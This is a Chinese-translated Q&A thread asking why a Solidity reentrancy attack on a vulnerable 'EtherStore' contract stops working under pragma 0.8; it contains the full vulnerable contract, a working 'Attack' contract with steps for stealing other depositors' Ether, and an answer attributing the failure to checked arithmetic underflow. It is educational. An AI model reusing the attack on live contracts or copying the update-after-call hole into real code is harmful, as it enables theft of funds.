【问题标题】:Reentrancy hack in Solidity no longer working on pragma ^0.8.0Solidity 中的 Reentrancy hack 不再适用于 pragma ^0.8.0
【发布时间】:2021-08-15 17:36:45
【问题描述】:

以下合约“EtherStore”在被合约“Attack”攻击时包含一个漏洞。但是,在更高版本的solidity(例如^0.8.0)中编译的相同代码(对于两个合约)似乎不再允许执行黑客攻击。

我已经通过solidity 文档寻找版本^0.8.0 的发布更改,但我无法明确解释为什么这不再可能。

你可以在Remix.org.试试这个代码

如果有任何答案可以解释为什么会发生这种情况,我将不胜感激。

转到此video 了解代码。

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
// pragma solidity ^0.8.0 or even pragma solidity >=0.4.0 <0.9.0;   <<< no longer works

/*
EtherStore is a contract where you can deposit any amount and withdraw at most
1 Ether per week. This contract is vulnerable to re-entrancy attack.
Let's see why.

1. Deploy EtherStore
2. Deposit 1 Ether each from Account 1 (Alice) and Account 2 (Bob) into EtherStore
3. Deploy Attack with address of EtherStore
4. Call Attack.attack sending 1 ether (using Account 3 (Eve)).
   You will get 3 Ethers back (2 Ether stolen from Alice and Bob,
   plus 1 Ether sent from this contract).

What happened?
Attack was able to call EtherStore.withdraw multiple times before
EtherStore.withdraw finished executing.

Here is how the functions were called
- Attack.attack
- EtherStore.deposit
- EtherStore.withdraw
- Attack fallback (receives 1 Ether)
- EtherStore.withdraw
- Attack.fallback (receives 1 Ether)
- EtherStore.withdraw
- Attack fallback (receives 1 Ether)
*/

contract EtherStore {
    // Withdrawal limit = 1 ether / week
    uint constant public WITHDRAWAL_LIMIT = 1 ether;
    mapping(address => uint) public lastWithdrawTime;
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint _amount) public {
        require(balances[msg.sender] >= _amount);
        require(_amount <= WITHDRAWAL_LIMIT);
        require(block.timestamp >= lastWithdrawTime[msg.sender] + 1 weeks);

        (bool sent, ) = msg.sender.call{value: _amount}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] -= _amount;
        lastWithdrawTime[msg.sender] = block.timestamp;
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

contract Attack {
    EtherStore public etherStore;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // Fallback is called when EtherStore sends Ether to this contract.
    fallback() external payable {
        if (address(etherStore).balance >= 1 ether) {
            etherStore.withdraw(1 ether);
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        etherStore.deposit{value: 1 ether}();
        etherStore.withdraw(1 ether);
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

【问题讨论】:

    标签: ethereum solidity smartcontracts


    【解决方案1】:

    您链接的更改日志中提到了攻击失败的原因:)。

    算术运算在下溢和上溢时恢复。

    当攻击合约从易受攻击的合约中窃取了所有资金时,即当fallback中的if条件为假时,则更新攻击者的余额:

    balances[msg.sender] -= _amount;
    

    问题是这条线被执行了多次,因为withdrawfallback 分别调用了多次。如果攻击者在开始时存入 1 个以太币,则此行将在第二次调用时恢复交易,因为下溢(1 - 1 - 1 = 2256 - 1,因为我们使用 uint256) .

    因此,由于这次语言更新,重入攻击不再可能(在这种情况下)。但这当然不是不使用检查-效果-交互模式的理由:)。

    可以通过如下方式修改代码,观察到攻击者的余额确实下溢:

    event Log(uint256 value);
    
    …
    
    unchecked {
        balances[msg.sender] -= _amount;
        emit Log(balances[msg.sender]);
    }
    

    【讨论】:

      猜你喜欢
      • 2021-08-02
      • 2016-10-15
      • 2011-03-03
      • 1970-01-01
      • 1970-01-01
      • 2021-09-05
      • 2021-05-30
      • 1970-01-01
      • 2022-12-02
      相关资源
      最近更新 更多